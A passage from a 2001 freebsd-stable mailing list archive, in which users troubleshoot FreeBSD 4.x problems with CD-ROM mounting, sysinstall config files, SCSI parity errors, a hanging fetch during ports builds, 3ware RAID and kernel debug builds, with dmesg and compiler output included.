brucegb) Date: Wed, 14 Mar 2001 19:04:27 -0600 From: Bruce Burden To: David Reid , freebsd-stable@freebsd.org Subject: Re: cdrom Message-ID: <20010314190427.C61949@tigerfish2.my.domain> References: <008901c0acdf$4f225b30$011aa8c0@godzilla> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <008901c0acdf$4f225b30$011aa8c0@godzilla>; from dreid@jetnet.co.uk on Wed, Mar 14, 2001 at 11:34:23PM -0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I'm getting a No such file or directory when I try to mount a CDROM with > 4-STABLE. I've seen some stuff about this and have tried as many of the > suggestions as I can, but no joy. > Is your pccard a 32 bit (CardBus) or a 16 bit (PCMCIA) card? FreeBSD only currently supports 16 bit pccards. 5.0 is supposed to have 32 bit support... Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 17: 7:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.jetnet.co.uk (www.jetnet.co.uk [62.172.71.4]) by hub.freebsd.org (Postfix) with ESMTP id 59FD237B718 for ; Wed, 14 Mar 2001 17:07:25 -0800 (PST) (envelope-from dreid@jetnet.co.uk) Received: from godzilla (host217-32-136-24.hg.mdip.bt.net [217.32.136.24]) (authenticated) by www.jetnet.co.uk (8.11.1/8.11.1) with ESMTP id f2F17LB18672; Thu, 15 Mar 2001 01:07:21 GMT Message-ID: <018501c0aceb$63844a00$011aa8c0@godzilla> From: "David Reid" To: "Bruce Burden" Cc: References: <008901c0acdf$4f225b30$011aa8c0@godzilla> <20010314190427.C61949@tigerfish2.my.domain> Subject: Re: cdrom Date: Thu, 15 Mar 2001 01:00:47 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG AFAIK it's 16-bit. In fact after rebooting once it was identified as a NinjaATA card, which is 16-bit. david ----- Original Message ----- From: "Bruce Burden" To: "David Reid" ; Sent: Thursday, March 15, 2001 1:04 AM Subject: Re: cdrom > > > > I'm getting a No such file or directory when I try to mount a CDROM with > > 4-STABLE. I've seen some stuff about this and have tried as many of the > > suggestions as I can, but no joy. > > > Is your pccard a 32 bit (CardBus) or a 16 bit (PCMCIA) card? > FreeBSD only currently supports 16 bit pccards. 5.0 is supposed to > have 32 bit support... > > Bruce > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 17:23:17 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dell.dannyland.org (dell.dannyland.org [64.81.36.13]) by hub.freebsd.org (Postfix) with ESMTP id 675D437B718 for ; Wed, 14 Mar 2001 17:23:14 -0800 (PST) (envelope-from dannyman@toldme.com) Received: by dell.dannyland.org (Postfix, from userid 1001) id 267DF5BF7; Wed, 14 Mar 2001 17:23:28 -0800 (PST) Date: Wed, 14 Mar 2001 17:23:28 -0800 From: dannyman To: freebsd-stable@freebsd.org Subject: sysinstall hassles Message-ID: <20010314172328.L3500@dell.dannyland.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i X-Loop: djhoward@uiuc.edu X-URL: http://www.dannyland.org/~dannyman/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to invoke sysinstall with a config file, like so: /sysinstall loadConfig=/etc/install.cfg It'll run through the blue screen that says "Probing devices ... (this may take a while) and then it exists with 0 return code, not doing anything at all. Any idea? I get farther with: /sysinstall `/usr/bin/egrep '^[a-zA-Z]' /etc/install.cfg | /usr/bin/awk \ '$2 {print "\""$_"\""} $2 == "" {print $_}'` Which comes out to: /sysinstall debug=YES nonInteractive=YES noWarn=YES disk=da0 partition=all bootManager=standard diskPartitionEditor "da0s1-1=ufs 2000000 /" "da0s1-2=swap 2000000 none" "da0s1-3=ufs 10000000 /var" diskLabelEditor diskLabelCommit installCommit But sysinstall bombs on any line with a space in it: da0s1-1=ufs 2000000 / How to express my point to sysinstall? Or, how to compile sysinstall? Maybe I can compile it to read my config file, but alas, I cd /usr/src/release/sysinstall ; make clean ; make obj ; make and I get this: mv makedevs.tmp makedevs.c cc -O -pipe -Wall -I/usr/src/release/sysinstall/../../gnu/lib/libdialog -I/usr/obj/usr/src/release/sysinstall -I/usr/tftpboot/diskless//usr/include -c makedevs.c makedevs.c:314: syntax error before `,' *** Error code 1 Stop in /usr/src/release/sysinstall. AUGHGHG!!! Or, failing that, what's a handy way of creating myself a single partition and laying the slices out like so: da0s1-1=ufs 2000000 / da0s1-2=swap 2000000 none da0s1-3=ufs 10000000 /var da0s1-4=ufs 0 /usr Meaning, 1G for /, 1G for swap, 5G for /var and everything else for /usr ... Thanks, -danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 17:36:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from postal.incyte.com (postal.incyte.com [198.31.37.2]) by hub.freebsd.org (Postfix) with ESMTP id B571137B71A for ; Wed, 14 Mar 2001 17:36:22 -0800 (PST) (envelope-from bl@incyte.com) Received: from blah.incyte.com (blah.incyte.com [10.99.1.40]) by postal.incyte.com (8.11.1/8.11.1) with ESMTP id f2F1aKT15539 for ; Wed, 14 Mar 2001 17:36:20 -0800 (PST) Received: from blah.incyte.com (bl@localhost) by blah.incyte.com (8.9.1a/8.9.1) with ESMTP id RAA106453 for ; Wed, 14 Mar 2001 17:36:22 -0800 (PST) Message-Id: <200103150136.RAA106453@blah.incyte.com> X-Authentication-Warning: blah.incyte.com: bl owned process doing -bs To: freebsd-stable@freebsd.org Subject: 4.3-beta spits PCI errors when sound file played (sound from cd ok) Date: Wed, 14 Mar 2001 17:36:21 -0800 From: "Brett G. Lemoine" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've a -stable system, updated as of this morning, that's spewing errors when I play an mp3 file from disk. Mar 14 18:36:00 blur /kernel: ahc1: PCI error Interrupt at seqaddr = 0x9 Mar 14 18:36:00 blur /kernel: ahc1: Data Parity Error Detected during address or write data phase Mar 14 18:36:00 blur /kernel: ahc0: PCI error Interrupt at seqaddr = 0x9 Mar 14 18:36:00 blur /kernel: ahc0: Data Parity Error Detected during address or write data phase Mar 14 18:36:00 blur /kernel: ahc1: PCI error Interrupt at seqaddr = 0x9 Mar 14 18:36:00 blur /kernel: ahc1: Data Parity Error Detected during address or write data phase Mar 14 18:36:00 blur /kernel: ahc0: PCI error Interrupt at seqaddr = 0x8 Mar 14 18:36:00 blur /kernel: ahc0: Data Parity Error Detected during address or write data phase [...] and so-on for a few hundred lines. I'll admit that this is _far_ better than what 4.2-stable was doing, which was crashing with something like: (da1:ahc0:0:1:0): Invalidating pack (da1:ahc0:0:1:0): SCB 0x1d - timed out while idle, SEQADDR == 0x5 STACK == 0x13, 0x174, 0x15e, 0x174 SXFRCTL0 == 0x80 SCB count = 110 QINFIFO entries: 34 18 46 1 19 31 52 20 33 9 3 67 57 45 0 30 54 22 50 40 23 8 36 2 32 44 35 5 17 11 28 10 101 15 51 26 6 Waiting Queue entries: 11:66 Disconnected Queue entries: 17:39 27:29 QOUTFIFO entries: Sequencer Free SCB List: 20 2 0 28 14 10 29 31 15 24 7 19 6 23 18 21 12 26 13 22 4 30 9 3 16 8 25 1 5 Pending list: 6 26 51 15 101 10 28 11 17 5 35 44 32 2 36 8 23 40 50 22 54 30 0 45 57 67 3 9 33 20 52 31 19 1 46 18 34 66 39 29 Kernel Free SCB list: 24 58 25 47 59 55 27 42 4 49 3 8 37 43 21 41 53 48 16 12 69 56 68 13 83 14 82 81 80 99 98 97 96 95 94 93 92 91 90 109 108 107 106 105 104 103 102 65 84 85 86 87 88 89 70 71 72 73 74 75 76 77 78 7 9 60 61 62 63 64 100 sg[0] - Addr 0x1a608800 : Length 1024 (da1:ahc0:0:1:0): SCB 29: Immediate reset. Flags = 0x4040 (da1:ahc0:0:1:0): no longer in timeout, status = 34b ahc0: Issued Channel A Bus Reset. 40 SCBs aborted My current kernel is GENERIC v1.246.2.23 (2001/03/07) with 'device pcm' tacked on. My dmesg is below. Any ideas? Is there anything else I could do to help pin this thing down? It's not a _simple_ conflict, since I can play cd's direct out the sound driver without any problems. It's just when I play an mp3 or wav off of disk. Weird. Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #0: Wed Mar 14 18:08:30 CST 2001 root@blur.unixshaman.com:/usr/src/sys/compile/GENSND Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (751.71-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x681 Stepping = 1 Features=0x383fbff real memory = 1073741824 (1048576K bytes) config> di sn0 config> di lnc0 config> di ie0 config> di fe0 config> di ed0 config> di cs0 config> di bt0 config> di aic0 config> di aha0 config> di adv0 config> q avail memory = 1041117184 (1016716K bytes) Preloaded elf kernel "kernel" at 0xc049c000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc049c09c. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib2: at device 1.0 on pci0 pci1: on pcib2 pcib3: at device 1.0 on pci1 pci2: on pcib3 pci2: at 1.0 pci2: at 2.0 pci2: at 3.0 pci2: at 4.0 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xffa0-0xffaf at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0xef80-0xef9f irq 11 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered chip1: port 0x440-0x44f at device 7.3 on pci0 ahc0: port 0xe400-0xe4ff mem 0xfebfe000-0xfebfefff irq 10 at device 11.0 on pci0 aic7896/97: Wide Channel A, SCSI Id=7, 32/255 SCBs ahc1: port 0xe800-0xe8ff mem 0xfebff000-0xfebfffff irq 10 at device 11.1 on pci0 aic7896/97: Wide Channel B, SCSI Id=7, 32/255 SCBs pcm0: port 0xef00-0xef3f irq 9 at device 12.0 on pci0 fxp0: port 0xee80-0xeebf mem 0xfea00000-0xfeafffff,0xfebfd000-0xfebfdfff irq 11 at device 13.0 on pci0 fxp0: Ethernet address 00:e0:81:10:c9:0e fxp1: port 0xed80-0xedbf mem 0xfe800000-0xfe8fffff,0xfebfc000-0xfebfcfff irq 5 at device 17.0 on pci0 fxp1: Ethernet address 00:d0:b7:73:39:03 pcib1: on motherboard pci3: on pcib1 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 psm0: irq 12 on atkbdc0 psm0: model IntelliMouse, device ID 3 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode ppbus0: IEEE1284 device found /NIBBLE Probing for PnP devices on ppbus0: ppbus0: HP ENHANCED PCL5,PJL,POSTSCRIPT plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 acd0: CDROM at ata1-master using PIO4 Waiting 15 seconds for SCSI devices to settle Mounting root from ufs:/dev/da0s1a da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-3 device da0: 80.000MB/s transfers (40.000MHz, offset 63, 16bit), Tagged Queueing Enabled da0: 17501MB (35843670 512 byte sectors: 255H 63S/T 2231C) da1 at ahc0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-3 device da1: 80.000MB/s transfers (40.000MHz, offset 63, 16bit), Tagged Queueing Enabled da1: 17501MB (35843670 512 byte sectors: 255H 63S/T 2231C) da2 at ahc1 bus 0 target 6 lun 0 da2: Removable Direct Access SCSI-2 device da2: 20.000MB/s transfers (20.000MHz, offset 15) da2: 1911MB (3915600 512 byte sectors: 255H 63S/T 243C) cd0 at ahc1 bus 0 target 5 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 20.000MB/s transfers (20.000MHz, offset 15) cd0: Attempt to query device size failed: NOT READY, Medium not present - tray closed bl -- //====== Brett G. Lemoine -=- ===============================\\ || Info. Systems Architect | || ||Core Unix System Services| Managing systems administrators || || Incyte Genomics | is alot like hearding cats. || || Palo Alto, California | || |+-------------------------+-------------------------------------------------+| \\== PGP Key Fingerprint: 68 A1 2A 2D 82 CE E9 70 5B 80 D1 11 EC F3 FB 85 ==// To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 17:37:11 2001 Delivered-To: freebsd-stable@freebsd.org Received: from speedus.com (saturn.speedus.net [63.251.16.34]) by hub.freebsd.org (Postfix) with ESMTP id 9D66D37B718 for ; Wed, 14 Mar 2001 17:37:08 -0800 (PST) (envelope-from benf@nexgen.com) Received: from nexgen.com (p17-99.dialup.speedus.net [63.251.17.99]) by speedus.com (8.9.3/8.9.3) with ESMTP id UAA12742; Wed, 14 Mar 2001 20:37:06 -0500 (EST) Message-ID: <3AB01C94.7020804@nexgen.com> Date: Wed, 14 Mar 2001 20:36:20 -0500 From: Benjamin Flom User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; m18) Gecko/20010131 Netscape6/6.01 X-Accept-Language: en MIME-Version: 1.0 To: "Peter.Blok" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: stable on serverworks chipset References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Our's (4.2) works fine (we don't use the ATA controllers though). Peter.Blok wrote: > Is stable working on serverworks chipsets? > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 17:38:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from web120.yahoomail.com (web120.mail.yahoo.com [205.180.60.121]) by hub.freebsd.org (Postfix) with SMTP id C25A537B718 for ; Wed, 14 Mar 2001 17:38:16 -0800 (PST) (envelope-from samwun@yahoo.com) Received: (qmail 5386 invoked by uid 60001); 15 Mar 2001 01:38:16 -0000 Message-ID: <20010315013816.5385.qmail@web120.yahoomail.com> Received: from [203.25.253.65] by web120.yahoomail.com; Wed, 14 Mar 2001 17:38:16 PST Date: Wed, 14 Mar 2001 17:38:16 -0800 (PST) From: Sam Wun Subject: Re: apache show "Exec format error" To: Gordon Tetlow Cc: Mike Smith , Pete French , stable@FreeBSD.ORG In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, where do you thinkn I should add this in? I have the following script invoke the .css file: Thanks sam --- Gordon Tetlow wrote: > When a response is given from a cgi, it must start > with: > > Content-Type: \n\n > > If it doesn't you will always get this error you are > describing. > > -gordon > > On Wed, 14 Mar 2001, sam wun wrote: > > > I know this is not an appropriate newsgropu to > post this msg, but I would think > > you guys konw more about it. > > I got the following error when I tried to execue a > perl program with calling > > .css file: > > > > Exec format error: exec of > /usr/local/cgi-bin/store/managerstylesheet.css > > failed > > [Wed Mar 14 22:10:03 2001] [error] [client > 192.168.1.1] Premature end of script > > headers: > > /usr/local/cgi-bin/store/managerstylesheet.css > > > > Does anyone know what is this all about? > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 17:52:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from chmod.ath.cx (CC2-1242.charter-stl.com [24.217.116.226]) by hub.freebsd.org (Postfix) with ESMTP id DD50337B71A for ; Wed, 14 Mar 2001 17:52:24 -0800 (PST) (envelope-from ajh3@chmod.ath.cx) Received: by chmod.ath.cx (Postfix, from userid 1001) id 270CDA90D; Wed, 14 Mar 2001 19:52:03 -0600 (CST) Date: Wed, 14 Mar 2001 19:52:02 -0600 From: Andrew Hesford To: FreeBSD-stable Subject: Fetch Message-ID: <20010314195202.A91285@cec.wustl.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Loop: Andrew Hesford Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Fetch hangs after downloading large files when I make ports. Does anybody else know of this trouble? It's not a major issue, I just have to kill the build process and restart it after each file. -- Andrew Hesford ajh3@chmod.ath.cx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 18:18:54 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cage.simianscience.com (cage.simianscience.com [64.7.134.1]) by hub.freebsd.org (Postfix) with ESMTP id A8A8A37B718; Wed, 14 Mar 2001 18:18:50 -0800 (PST) (envelope-from mike@sentex.net) Received: from chimp (fcage [192.168.0.2]) by cage.simianscience.com (8.11.2/8.11.2) with ESMTP id f2F2Ifg60369; Wed, 14 Mar 2001 21:18:45 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.2.2.20010314203128.030e6c20@marble.sentex.net> X-Sender: mdtancsa@marble.sentex.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Wed, 14 Mar 2001 21:18:40 -0500 To: rand@meridian-enviro.com, Mike Smith From: Mike Tancsa Subject: Re: 3ware problems Cc: freebsd-stable@FreeBSD.ORG In-Reply-To: <87elvzoona.wl@delta.meridian-enviro.com> References: <200103150029.f2F0TTF04572@mass.dis.org> <87g0gfopf4.wl@delta.meridian-enviro.com> <200103150029.f2F0TTF04572@mass.dis.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 06:35 PM 3/14/2001 -0600, rand@meridian-enviro.com wrote: >As soon as we had the problem we upgraded the firmware. Here is the >revelant parts of dmesg: > >twe0: <3ware Storage Controller> port 0xef60-0xef6f irq 10 at device 20.0 >on pci0 >twe0: 4 ports, Firmware FE6X 1.01.18.001, BIOS BEXX 1.06.00.001 I have had good luck with that rev on a number of cards. Are you by any chance using a stripe size other than the default 64 ? I found using 128K craps out on FreeBSD and Win2K. ---Mike -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Network Administration, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 18:55: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id A9A4037B719 for ; Wed, 14 Mar 2001 18:55:03 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id NAA04332; Thu, 15 Mar 2001 13:24:53 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 15 Mar 2001 13:24:53 +1030 (CST) From: "Daniel O'Connor" To: usb-bsd@eleetbsd.org Subject: RE: USB Modems in -stable Cc: freebsd-stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 13-Mar-01 Daniel O'Connor wrote: > I am wondering if anyone has tried either a NetCOMM Roadster USB modem, or a > Mitsubishi 56k/v.92 USB modem? OK, well I bought the NetCOMM Roadster -> umodem0: Sirius Technologies Roadster II 56 USB , rev 1.00/1.00, addr 2, iclass 2/2 umodem0: data interface 1, has CM over data, has break And it seems to work fine :) :) The real irony is that I haven't got it to work under Windows yet :) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 19:36:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from giroc.albury.net.au (giroc.albury.NET.AU [203.15.244.13]) by hub.freebsd.org (Postfix) with ESMTP id 0C0F237B71A for ; Wed, 14 Mar 2001 19:36:41 -0800 (PST) (envelope-from nicks@giroc.albury.net.au) Received: (from nicks@localhost) by giroc.albury.net.au (8.11.1/8.11.1) id f2F3aMI61516; Thu, 15 Mar 2001 14:36:22 +1100 (EST) Date: Thu, 15 Mar 2001 14:36:22 +1100 From: Nick Slager To: Andrew Hesford Cc: FreeBSD-stable Subject: Re: Fetch Message-ID: <20010315143622.B43581@albury.net> References: <20010314195202.A91285@cec.wustl.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010314195202.A91285@cec.wustl.edu>; from ajh3@chmod.ath.cx on Wed, Mar 14, 2001 at 07:52:02PM -0600 X-Homer: Whoohooooooo! Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Andrew Hesford (ajh3@chmod.ath.cx): > Fetch hangs after downloading large files when I make ports. Does > anybody else know of this trouble? > > It's not a major issue, I just have to kill the build process and > restart it after each file. How old is your system? I used to have this occasionally on an older RELENG_4 system; from memory it was dated around October 20 last year. Since then I have rebuilt the world and the problem disappeared, so it sort of solved itself :-) Nick -- Nick Slager | Quidquid latine dictum nicks@albury.net | sit, altum viditur. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 19:38:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from chmod.ath.cx (CC2-1242.charter-stl.com [24.217.116.226]) by hub.freebsd.org (Postfix) with ESMTP id BD89B37B719 for ; Wed, 14 Mar 2001 19:38:26 -0800 (PST) (envelope-from ajh3@chmod.ath.cx) Received: by chmod.ath.cx (Postfix, from userid 1001) id 66855A90D; Wed, 14 Mar 2001 21:38:06 -0600 (CST) Date: Wed, 14 Mar 2001 21:38:06 -0600 From: Andrew Hesford To: Nick Slager Cc: Andrew Hesford , FreeBSD-stable Subject: Re: Fetch Message-ID: <20010314213806.A91586@cec.wustl.edu> References: <20010314195202.A91285@cec.wustl.edu> <20010315143622.B43581@albury.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315143622.B43581@albury.net>; from nicks@albury.net on Thu, Mar 15, 2001 at 02:36:22PM +1100 X-Loop: Andrew Hesford Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Well, it's 4.3-BETA, within three days of the code freeze. I'm cvsupping now, we'll see how it behaves later. On Thu, Mar 15, 2001 at 02:36:22PM +1100, Nick Slager wrote: > Thus spake Andrew Hesford (ajh3@chmod.ath.cx): > > > Fetch hangs after downloading large files when I make ports. Does > > anybody else know of this trouble? > > > > It's not a major issue, I just have to kill the build process and > > restart it after each file. > > How old is your system? > > I used to have this occasionally on an older RELENG_4 system; from > memory it was dated around October 20 last year. > > Since then I have rebuilt the world and the problem disappeared, so it > sort of solved itself :-) > > > Nick > > -- > Nick Slager | Quidquid latine dictum > nicks@albury.net | sit, altum viditur. -- Andrew Hesford ajh3@chmod.ath.cx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 20:36:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from entropy.inserted.net (async2-win-isp-1.nas.one.net.au [61.12.142.3]) by hub.freebsd.org (Postfix) with SMTP id B604437B719 for ; Wed, 14 Mar 2001 20:36:14 -0800 (PST) (envelope-from steve@inserted.net) Received: (qmail 13552 invoked from network); 15 Mar 2001 04:23:07 -0000 Received: from fortune.inserted.net (192.168.0.2) by entropy.inserted.net with SMTP; 15 Mar 2001 04:23:07 -0000 Message-Id: <5.0.2.1.2.20010315151913.02229988@entropy.inserted.net> X-Sender: steve@inserted.net@entropy.inserted.net X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 15 Mar 2001 15:22:14 +1100 To: Andrew Hesford , FreeBSD-stable From: Stephen Ware Subject: Re: Fetch In-Reply-To: <20010314195202.A91285@cec.wustl.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 07:52 PM 3/14/2001 -0600, Andrew Hesford wrote: >Fetch hangs after downloading large files when I make ports. Does >anybody else know of this trouble? I had all sorts of various problems with fetch, especially with http urls. The env variable FETCH_CMD allows you to specify what you want to you use to download the distfiles, so I installed and set it to /usr/local/bin/wget. Haven't had any problems since. man ports for more detail. Good luck, Stephen steve@inserted.net >It's not a major issue, I just have to kill the build process and >restart it after each file. >-- >Andrew Hesford >ajh3@chmod.ath.cx >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 22:11:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nova.fnal.gov (nova.fnal.gov [131.225.121.207]) by hub.freebsd.org (Postfix) with ESMTP id DA6C037B718 for ; Wed, 14 Mar 2001 22:11:25 -0800 (PST) (envelope-from zingelman@fnal.gov) Received: from localhost (tez@localhost) by nova.fnal.gov (8.9.3+Sun/8.9.3) with ESMTP id AAA15006 for ; Thu, 15 Mar 2001 00:16:48 -0600 (CST) X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Thu, 15 Mar 2001 00:16:48 -0600 (CST) From: Tim Zingelman X-Sender: To: Subject: can't build 4.3-BETA GENERIC kernel with -g Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Am I missing something here... is this the wrong way to build a kernel with debug symbols? Any help is appreciated. I've cvsuped built, installed, mergemastered a 4.3-BETA world & kernel as of this morning 3/14/01, and rebooted. Everything worked great as usual. I need to build a kernel with debug, to diagnose a panic I've been seeing with smbfs.ko. So I set: CFLAGS= -g COPTFLAGS= -g in /etc/make.conf, went back to /usr/src (nothing has changed since my last installworld/kernel, etc. except those two items in make.conf that were previously set = -O -pipe) I get a compile failure on /usr/src/sys/i386/i386/atomic.c, including /usr/src/sys/i386/include/atomic.h "inconsistent operand constraints in an `asm'" see below for details. I also tried setting CFLAGS & COPTFLAGS to just -pipe and building with: make kernel KERNCONF=GENERIC DEBUG=-g and got the same results. I have repeated this on another -BETA machine with the same results. - Tim Zingelman make kernel KERNCONF=GENERIC ... cc -c -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 -fomit-frame-pointer /usr/src/sys/i386/i386/atomic.c In file included from /usr/src/sys/i386/i386/atomic.c:47: machine/atomic.h: In function `atomic_set_char': machine/atomic.h:106: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_char': machine/atomic.h:107: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_char': machine/atomic.h:108: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_subtract_char': machine/atomic.h:109: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_set_short': machine/atomic.h:111: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_clear_short': machine/atomic.h:112: inconsistent operand constraints in an `asm' machine/atomic.h: In function `atomic_add_short': machine/atomic.h:113: inconsistent operand constraints in an `asm' machine/atomic.h: In function 